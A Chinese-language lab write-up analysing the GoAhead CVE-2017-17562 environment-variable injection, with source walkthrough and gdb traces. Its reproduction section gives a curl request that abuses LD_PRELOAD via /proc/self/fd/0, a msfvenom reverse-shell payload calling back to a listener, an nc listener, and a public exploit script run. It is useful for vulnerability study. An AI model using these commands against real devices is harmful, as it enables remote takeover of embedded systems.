漏洞介绍
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。
GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了REMOTE_HOST和HTTP_AUTHORIZATION。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,LD_开头的环境变量和动态链接库有关,如LD_PRELOAD中指定的动态链接库,将会被自动加载;LD_LIBRARY_PATH指定的路径,程序会去其中寻找动态链接库。
我们可以指定LD_PRELOAD=/proc/self/fd/0,因为/proc/self/fd/0是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。
漏洞范围
GoAhead 2.5.0 - 3.6.4
漏洞靶场
使用vulhub的靶场:
使用环境为GoAhead 3.6.4
vulhub-master/goahead/CVE-2017-17562/
启动靶场环境:
1 | docker-compose up -d |
启动完成后,访问http://your-ip:8080/即可看到欢迎页面。访问http://your-ip:8080/cgi-bin/index即可查看到Hello页面,即为CGI执行的结果。
漏洞原理
根据漏洞描述,知道漏洞点存在于cgiHandler中,先去看cgiHandler函数。
1 | 漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境 |
因为程序是支持windows、linux以及vxWorks的,所以很多函数或代码或有三份实现,我分析的都是基于linux的,即宏定义为#if ME_UNIX_LIKE || QNX的相关代码。
动态调试发送post过去的数据为:
1 | curl -X POST --data-binary @exp.so http://172.16.217.185:80/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0 |
开始分析之前贴出Webs结构体的定义,该结构体中包含了web请求的相关数据结构,定义在goahead.h中,且每个字段都有相应的解释:
1 | /** |
src/goahead.h#L1874-L1973
继续去看cgiHandler函数,代码首先解析了PATH_INFO变量并拼接成了cgiPath(指向请求的cgi的全路径),然后检查该文件是否存在并为可执行。接着就是存在漏洞的关键代码:
[cgiHandler()] rc/cgi.c#L51-L226
1 | /* |
src/cgi.c#L153-L174
程序将所有的变量,包括之前解析出的头、请求参数等都放入到了envp数组中,但是不能为REMOTE_HOST以及HTTP_AUTHORIZATION两个。可以看出来这个黑名单的限制非常的局限,传入的参数可以有很多。
继续往下看,创建了stdIn以及stdOut两个变量。
1 | /* |
src/cgi.c#L176-L188
gdb调试下断点在该位置,查看stdIn以及stdOut变量,可以知道两个变量为相应的tmp文件路径,其中wp->cgiStdin一开始不为NULL。
1 | pwndbg> print stdIn |
接着函数就调用了launchCgi函数,根据注释可知该函数就是启动cgi程序。
1 | /* |
src/cgi.c#L190-L198
跟进去该函数:
1 | #if ME_UNIX_LIKE || QNX |
src/cgi.c#L533-L576
可以看到代码首先打开stdIn以及stdOut指向的文件即两个tmp文件,然后创建子进程,在子进程中将进程的标准输入与输出重定向到了两个打开文件句柄中,最后调用execve去启动新进程执行cgi文件。
cgi可执行文件执行的过程中,标准输入会从stdIn文件中获取,标准输出会输出草stdOut文件中。execve启动的第三个参数envp即是之前cgiHandler解析过的envp数组,以此实现将cgi可执行程序的变量放入到环境变量中。
漏洞就如上所示,即我们传入的参数会可以控制cgi进程的环境变量。会有什么危害?这就需要结合前面提到过的环境变量LD_PRELOAD,利用LD_PRELOAD与/proc/self/fd/0的结合,可实现任意代码执行,这将在漏洞利用部分中描述。
接下来我想搞清楚在cgiHandler之前HTTP请求是如何被解析以及最后执行到cgiHandler的。
将断点下在cgiHandler,可以看到函数调用栈为:
1 | ► f 0 7ffff7b33ec1 cgiHandler+781 |
可以看到程序是从readEvent开始获取socket输入的,可以动态进行验证。
从readEvent函数开始分析代码,关键代码如下:
1 | /* |
src/http.c#L779-L827
根据Webs结构体的定义我们可以知道,wp->rxbuf存储的是请求包中的所有数据。调用websRead去获取输入,存储到wp->rxbuf中,该函数通过socketRead或sslRead获取的数据,WebsBuf定义如下:
[websRead()] src/http.c#L761-L772
1 | typedef struct WebsBuf { |
src/goahead.h#L529-L537
执行完websRead函数后,数据保存到了wp->rxbuf中。进入到websPump函数中,关键代码如下:
1 | PUBLIC void websPump(Webs *wp) |
src/http.c#L830-L860
这是一个分步的处理函数,根据wp->state的状态来处理。
wp->state一开始是WEBS_BEGIN,程序调用parseIncoming,跟进去该函数,关键代码如下:
1 | static bool parseIncoming(Webs *wp) |
src/http.c#L863-L931
首先调用parseFirstLine解析HTTP请求的第一行,即如POST /cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 HTTP/1.1\r\n\r\n。该函数的主要功能为:
- 解析请求方法(
POST、GET以及PUT),并存入wp结构体相关字段中。 - 解析请求的url,并存入
wp结构体相关字段中。 - 解析HTTP协议版本,并存入
wp结构体相关字段中。 - 将解析出来的url分解成
host、path、port以及query等字段,并存入wp结构体相关字段中。
接着是调用parseHeaders,代码中的注释为:
1 | /* |
src/http.c#L1021-L1025
即将请求包中的头解析,并与HTTP_拼接成相应的字段存入到wp结构中。并根据相应的字段设置wp->flags字段,如若请求头中包括connection: keep-alive,则wp->flags |= WEBS_KEEP_ALIVE会执行。
解析完请求头后,因为POC中为POST方法,wp->rxLen在parseHeaders中被赋值,后续wp->state接着被赋值成了WEBS_CONTENT,表示还有content数据需要接收处理。
后续调用websRouteRequest来确定请求包其所对应的处理函数,通过比对url路径中是否包含route->prifix。routes是一个数组,包含了所有的处理函数的相关信息,它解析了route.txt,route.txt数据部分内容如下,可以看到url中包含cgi-bin的话,其对应的handler为cgi。
[websRouteRequest()] src/route.c#L41-L136
1 | $ cat route.txt |
经过websRouteRequest函数,最终确定使用cgihandler(存在漏洞的函数)函数来处理该url请求。解析出来的wp->route为如下:
1 | pwndbg> print *wp->route |
现在整个POC中的数据除了最后POST的数据都已处理完毕。根据以往的经验知道:post数据一般是cgi程序的标准输入。通过前面的分析,我们知道在launchCgi函数调用ececve启动cgi程序的时候,会将标准输入重定向为tmp文件句柄,所以接下来应该就是将post数据保存到tmp文件中。
继续看代码,程序在websRouteRequest函数后,判断请求类型,如果为POST则调用websGetCgiCommName()生成tmp文件路径,看下它文件路径生成的规则:
1 | /* |
src/cgi.c#L448-L455,src/osdep.c#L44-L67
可以看到,tmp文件路径为/tmp/tmp-xx.tmp,xx为累计的计数器的值。
接着程序返回到websPump中,将调用processContent。该函数首先调用filterChunkData将剩下未处理的数据保存到wp的input字段中。然后因为此时wp->cgifd >= 0,调用websProcessCgiData函数。该函数将post数据通过write函数写入到了相应的tmp文件中,再与launchCgi函数中的重定向结合,实现了将post数据作为cgi函数的标准输入。
[filterChunkData()] src/http.c#L1230-L1327,[websProcessCgiData()] src/cgi.c#L236-L249
最后程序执行websRunRequest函数,先调用websSetQueryVars将get请求参数保存到wp->vars中,然后调用(*route->handler->service)(wp),即cgiHandler函数,与前半部分的分析接上,最终调用cgi程序运行。
[websRunRequest()] src/route.c#L139-L183,[websSetQueryVars()] src/http.c#L1440-L1451
至此整个过程分析结束,再将整个goahead处理cgi所对应post请求处理流程小结如下:
调用
websRead函数,所有数据保存到了wp->rxbuf中。调用
1
websPump
,该函数包含三部分:
- 调用
parseIncoming函数解析请求头以及调用websRouteRequest确定相应的处理函数。 - 调用
processContent将处理post数据,将其保存到tmp文件中。 - 调用
websRunRequest函数,调用相应的处理函数,cgi对应为cgiHandler。
- 调用
调用
cgiHandler,将请求头以及get参数设置到环境变量中,调用launchCgi函数。调用
launchCgi函数,将标准输出输入重定向到文件句柄,调用execve启动cgi进程。
漏洞复现
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们直接用Linux PC编译即可。动态链接库源码:
1 | #include <unistd.h> |
这样,before_main函数将在程序执行前被调用。编译以上代码:
1 | gcc -shared -fPIC ./payload.c -o payload.so |
将payload.so作为post body发送:
1 |
|

可见,Hello: world!已被成功输出,说明我们的动态链接库中的代码已被执行:
exp使用
ivanitlearning/CVE-2017-17562: Standalone Python 3 exploit for CVE-2017-17562 (github.com)
首先利用msfvenom生成exp.so
1 | msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.159.132 LPORT=4444 -f elf-so -o ./exp.so |

本地开启nc进行监听
1 | nc -lvvp 4444 |
然后使用脚本上传exp.so
1 | python ./exploit.py -rhost 192.168.159.132 -rport 8080 -cgipath /cgi-bin/index -payload ./exp.so |

成功反弹shell

参考
https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2017-17562/README.zh-cn.md